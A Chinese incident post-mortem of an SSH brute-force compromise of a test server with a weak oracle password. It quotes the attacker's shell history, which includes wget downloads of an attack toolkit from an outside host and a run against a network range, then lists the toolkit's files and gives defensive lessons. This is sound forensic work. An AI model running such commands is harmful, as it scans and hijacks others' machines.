  39. cat bash_his (查看历史命令)
  40. cat bash_history
  41. cat .bash_history
  42. wget scriptcoders.ucoz.com/piata.tgz (下载肉鸡攻击软件包)
  43. tar zxvf piata.tgz (解压软件包)
  44. rm -rf piata.tgz (删除软件包)
  45. cd piata/ (切换到攻击软件目录)
  46. ls -a
  47. chmod +x *
  48. ./a 210.212 (运行攻击软件)
  49. screen (试图运行screen命令,发现没有后下载它)
  50. ls -a
  51. wget scriptcoders.ucoz.com/screen.tgz
  52. tar zxvf screen.tgz (解压)
  53. ./screen
  54. exit
  55. w
  56. ps x
  57. cd piata/ (切换到攻击软件目录)
  58. ls -a
  59. cat vuln.txt (查看攻击结果)
  60. ls -a
  61. mv vuln.txt 1.txt (保存攻击结果)
  62. ./screen -r
  63. nano 1.txt (查看结果文件)
  64. w
  65. ps x
  66. exit
  67. cd piata
  68. ps x
  69. ls -a
  70. nano 2.txt
  71. exit
  72. w
  73. ps x
  74. cd piata/
  75. ls -a
  76. cat
  77. mv vuln.txt 2.txt (保存结果)
  78. nano 2.txt
  79. w
  80. ps x
  81. cd piata/
  82. ls- a
  83. cat vuln.txt
  84. rm -rf vuln.txt
  85. ./screen -r
  86. exit
  87. w
  88. ps x
  89. cd piata/
  90. ls -a
  91. cat vuln.txt
  92. ls -a
  93. mv vuln.txt 3.txt (保存结果)
  94. nano 3.txt
  95. exit
  96. w
  97. ps x
  98. cd piata/
  99. ls -a
  100. cat vuln.txt
  101. rm -rf vuln.txt
  102. exit
  103. w
  104. ps x
  105. cd piata/
  106. ls -a
  107. cat vuln.txt
  108. rm -rf vuln.txt
  109. rm -rf 1.txt
  110. rm -rf 2.txt
  111. rm -rf 2.txt.save
  112. rm -rf 3.txt
  113. screen -r
  114. ./screen -r
  115. exit
  116. w
  117. ps x
  118. cd piata/
  119. ls -a
  120. cat vuln.txt
  121. ls -a
  122. nano vuln.txt
  123. rm -rf vuln.txt
  124. screen -r
  125. ./screen -r
  126. exit
  127. w
  128. ps x
  129. cd piata/
  130. ls -a
  131. cat vuln.txt
  132. nano vuln.txt
  133. w
  134. ls -a
  135. rm -rf vuln.txt
  136. screen -r
  137. ./screen -r
  138. exit
  139. w
  140. ps x
  141. cd piata/
  142. ls -a
  143. cat vuln.txt
  144. rm -rf vuln.txt
  145. ps x
  146. ls -a
  147. ./screen -r
  148. exit
  149. w
  150. ps x
  151. cd piata/
  152. ls -a
  153. cat vuln.txt
  154. nano vuln.txt
  155. w
  156. rm -rf vuln.txt
  157. ./screen -r
  158. exit

3.3 攻击工具一览

前面通过命令历史记录,可以看出攻击工具软件包为名为piata。下载来看看它的面目。

  1. [root@localhost piata]# ll
  2. total 1708
  3. -rw-r–r–. 1 oracle oinstall 0 Mar 10 13:01 183.63.pscan.22
  4. -rwxr-xr-x. 1 oracle oinstall 659 Feb 2 2008 a
  5. -rwxr-xr-x. 1 oracle oinstall 216 May 18 2005 auto
  6. -rwxr-xr-x. 1 oracle oinstall 283 Nov 25 2004 gen-pass.sh
  7. -rwxr-xr-x. 1 oracle oinstall 93 Apr 19 2005 go.sh
  8. -rwxr-xr-x. 1 oracle oinstall 3253 Mar 5 2007 mass
  9. -rwxr-xr-x. 1 oracle oinstall 12671 May 18 2008 pass_file
  10. -rwxr-xr-x. 1 oracle oinstall 21407 Jul 22 2004 pscan2
  11. -rwxr-xr-x. 1 oracle oinstall 249980 Feb 13 2001 screen
  12. -rw-r–r–. 1 oracle oinstall 130892 Feb 3 2010 screen.tgz
  13. -rwxr-xr-x. 1 oracle oinstall 453972 Jul 13 2004 ss
  14. -rwxr-xr-x. 1 oracle oinstall 842736 Nov 24 2004 ssh-scan
  15. -rw-r–r–. 1 oracle oinstall 2392 Mar 10 05:03 vuln.txt

其中 a, auto, go.sh gen-pass.sh, 都是bash脚本文件,用于配置扫描网段,调用扫描程序。pscan2和ssh-scan则为扫描程序。 vuln.txt记录获得的肉鸡列表。

目前尚未发现其他系统文件被黑客修改,也没有自动运行攻击软件的设置。

4 深刻教训

虽然这次被攻击的机器只是一个测试主机,其本身的重要性并不高,但却造成了防火墙的瘫痪,进而造成互联网不能正常访问。对此,必须引起足够重视,并从中汲取教训。

系统账户密码一定要有一定的复杂度。这次攻击就是由于oracle账户密码过于简单所致。

sshd采用密码方式登录风险很大,特别是密码简单的时候。可行的情况下,尽量关闭密码方式,改用公钥方式。

作为数据中心管理员,一定要监督监管系统管理员和软件开发商的服务安全,本次被攻击主机就是把所有权限都放给了网站开发公司,而开发公司对运营安全并不重视。